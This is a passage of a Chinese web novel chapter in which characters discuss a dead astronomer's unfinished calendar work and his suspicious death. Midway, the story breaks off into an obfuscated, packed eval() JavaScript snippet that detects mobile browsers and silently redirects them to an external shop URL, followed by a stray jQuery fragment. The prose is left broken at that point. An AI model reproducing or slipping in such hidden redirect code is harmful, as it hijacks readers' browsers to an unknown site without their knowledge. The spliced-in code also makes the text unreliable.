听见沈云棠称呼,萧司珩一扬眉,却没说什么。
以她的聪颖,只要稍加提点,发现老人的身份并不算得难事。
老人沉声道,“好孩子,你之前既然已经试探过,如今也没必要装模作样了。”
他的嗓音低沉粗哑,虽然看似不苟言笑,神情却颇为温和,见沈云棠乖乖不再做声,便满意地点了点头,转回正题。
“既然两位都在,还都对十几年前的旧事感兴趣,老夫便要问二位一个问题。”
“什么问题?”沈云棠抢先问道,惹得萧司珩看了她一眼。
书房内倏然沉闷下来。谢无咎坐立不安,一张俊美的脸看着像是憋了一肚子的事,却碍于老人在场,不敢竹筒倒豆子全部说出来。萧司珩却是神色不动,眉目含笑,似乎对老人接下来的问题心里有数。
老人忍不住看了沈云棠一眼,这小丫头虽然声音语气都很活泼,神色却一直未有波动,难以看透她的心思,其深沉冷静相较萧司珩竟也不遑多让。
这两个小孩儿,却是比他的两个徒弟都强多了。
他发出一声长长的叹息,正色道,“两位既然都身负使命,老夫便不得不问上一问。对于十几年前的事情,两位可有决心将它彻查到底?”
萧司珩先行答道,“既然是您的问话,晚辈自然不会欺瞒。晚辈的回答依旧不变。是否彻查,要看真相的重量值不值得。”
沈云棠面无表情道,“我管不了这些。我会查,我要追根究底到最后。即便惊动往人安眠,我也到死不罢休。”
她的声音平和而冷静,屋内其他三人却依然难掩心中的讶异。
萧司珩的视线没有再移开,这是他第一次似乎成功窥见沈云棠内心的真实想法。用不着他亲自上手抽丝剥茧,沈云棠便大喇喇将自己所求所愿暴露出来。
这让他感到一丝说不清的懊丧,若说是对沈云棠的鲁莽感到失望,在书房里的其他三人要么是师门传承,要么是同战线的盟友;若说是惊讶于沈云棠的言行出乎意料,青玄子的发问又本在他计划之中。
更别说青玄子其人声望,若是随便站在某个不识字的农夫面前自爆身份,都会有农夫攥着他的衣角将自己的前世今生给倒个干净。
他又有什么好为沈云棠的坦率而失望的?
老人——青玄子——点头道,“十二年前,彗星冲月,那彗星来自异域,无名无姓,天机由此而乱。孩子,以你的气魄,确实是当之无愧的破局之人。”
他此言一出,其他三人均是脸色一变。
沈云棠没想到难得诚实一回,竟然直接被点破了来历,不由得警惕起来。
萧司珩有些惊讶青玄子对沈云棠的评价竟如此之高。幼时每每拜见这位异士,老者一见了他便会一声长叹,说些“天命难改、惜取当下”一类不明所以的话。母亲重病后,舅父向来报喜不报忧,为此向母亲扯了不少谎,只说长辈让孩子脚踏实地云云。
谢无咎的关注点却在别处。他没记错的话,沈云棠已经快要十五岁了,为何师父特意提及十二年前的彗星?莫非她两岁时遇到过大动乱?
青玄子并不在意他们的反应,也无异引申既然在沈云棠处得到了满意的答案,他便将话题转回去,继续讲起沈云棠父母辈的往事来。
她娘束兰音在和顾善宣退婚后,一直在司天台任女官一职,协助自己的族侄束云辰做许多事务。
萧司珩微讶道,“我在卷宗中见过束云辰姓名,但司天台极少提及此人,我只当他是个籍籍无名的束家人,没想到竟能有人转职辅佐。他在束家的地位如何?”
青玄子苦笑一声,眼睛却望向沈云棠,道,“功败垂成之人,青史怎能留名?”
谢无咎倒是老老实实回答了问题,“他是束家长房长孙,束介然退下来后,他就是族长。因为眼睛不好,便请了他小姑来辅佐他。”
沈云棠看见青玄子眼神,倒是心中一动,开口问道,“如果我理解得没错的话,您说的是他留下来的工作?”
青玄子见她心思灵动,很快就理解自己未尽之言,不禁老怀欣慰,“还是你聪明。无咎对着云辰的遗留摸索了十几年,都没看懂他要做什么。”
被亲师父这么一刺,谢无咎也没法生气,又瘪在了角落里。
萧司珩自然不会让青玄子和沈云棠有加密通话的机会,插嘴道,“恕晚辈对运数卜算之事一窍不通,敢问这遗留有何特别之处?”
青玄子道,“云辰当年所要做的,是要为大雍带来一本开天辟地的历法!只可惜司天台只顾着争抢功名,竟无一人愿意与云辰同道,无咎又是个教不会的,最后云辰只得从家族里找了才名在外的兰音。”
沈云棠听着听着,感觉出不对来,据她所知,目前所用历法与她前世区别并不大,忍不住问道,“那现存的历法,又是何时修订的?”
“自然是今上登基时云辰所献,”青玄子道,神色间隐有自得之色,“云辰虽入门较无咎略晚,浸淫卜算推演一道的年岁恐怕比无咎习武的日子要长多了。”
沈云棠道,“那我这位族兄?还是该称呼他师叔?的工作时长恐怕要在投胎前开始算起,这么算对师父恐怕有点不公平。”
在角落里把自己团成一团的谢无咎莫名其妙抬起头来,他师弟比他聪明是不争的事实,没想到沈云棠平日虽然嫌弃他,此时竟然为他说话。
青玄子却是神色微动,眼中有着异样的光亮,“云辰的岁数比你娘还小些。”
沈云棠听懂了,他不愿深究束云辰,想来也不会深究自己,便对他笑了笑,转移了话题,“那我得同师祖纠正一下,若仅仅是历法本身,现行的历法本就是师叔带来的完全体。”
萧司珩问道,“那他的遗留又是什么?”
“历法已定,仍要据星轨,校误差,”沈云棠道,“若是同一本历法历时不变,那么新历旧历,又有什么区别?我猜我那位族兄想做而又功败垂成的,是要让司天台月月校准,年年编算,好让这历法长久用下去,是不是?”
萧司珩恍然,这些工作对顾文渊那群只会下苦工的博士门生们没有一分钱好处,怪道司天台现存记录没留下对束云辰的半点好话。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17661993|203601||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
若沈云棠也像束云辰那般献上新历,恐怕还没在神女之位上坐稳,就要被司天台这些人百般重伤,反而不利。
沈云棠倒是有些摸清楚了,她这师祖看着吓人,恐怕也只擅长玄学方面,对术数推演(俗称算命)和天文推演、历法编算的概念尚且模糊不清。
不过这些事情,在已经能做到精确观测天体的现代还有人分不清,倒也没必要对一个古代老头太过苛责。
青玄子没想到沈云棠会在这方面打了岔,但一时半会和自己的小徒孙又掰扯不清楚,于是清了清嗓子,继续往下讲,“无论如何,当时的云辰正有心思要做一番大事业。他当时眼睛已经不好,全靠兰音和无咎帮他,后来更是突然生了一场重病,从此再也不能进食,身子日渐衰弱。”
听见熟悉的症状,沈云棠和萧司珩都来了精神。
不知为何,青玄子像是突然哽住了,不肯再往下说,转由神色阴沉的谢无咎跟上,“因为身体太差,司天台那边参了师弟一本,说他不能胜任,师弟只得回束家修养。我觉得他那大病来得怪异,便回山门寻师父来中都为他诊断。”
他深吸一口气,“……等我二人回到中都,师弟已经下葬了。”
书房内安静了一会儿,没等沈云棠和萧司珩说什么,谢无咎又继续往下讲,“束家人对师弟的死三缄其口,也不许我们见他最后一面,连他葬在何处都不肯知会。”
“……”沈云棠说,“我有个很乐观的想法?”
青玄子苦笑,“当年的你师父比你还要乐观。”
谢无咎道,“我当时只当束家为了避祸把师弟藏了起来,便把所有与束家相关的宅院田庄、有亲缘关系的所有家族全部探了一遍。
“他死了。除了我与师父,其他所有人都见过师弟的最后一面。
“我也曾想过问你娘,但是她忙着出嫁,对我视而不见。”
“然后等你还没把所有人全部追问一遍,束家人就死了个精光?”沈云棠平静地问。
见她问得这般直白,谢无咎一愣,点了点头。
书房的气氛愈发沉闷,香炉中的安神香不知何时已燃烧殆尽。萧司珩望了一眼沈云棠,熟门熟路地将香料添了进去。
清苦的香气再次于书房中浮动。只可惜另外三人要么不知礼节,要么不拘小节,均将心神放在陈年旧事上,没人注意到他的行动。
萧司珩也乐得轻松,满怀期待地站回沈云棠的身边,看这一门三人是否还会有新的惊世之语。
谢无咎被挖出来的愤怒已是陈年原酿,并不能被安神的香气安抚。他咬牙道,“我后来再回司天台问话,那群废物畜牲明明对医术一窍不通,你可知他们竟然说什么?”
“说什么?”沈云棠问。
“他们说那瘟疫是师弟带来的!”谢无咎恨恨道。
“接下来的话,没有证据就别说了。”沈云棠突然制止。
谢无咎不明所以,书房的空气冷了下来。
沈云棠仿佛未有所感,冷静地转移话题,“还是再说是梅家姐妹的事吧。”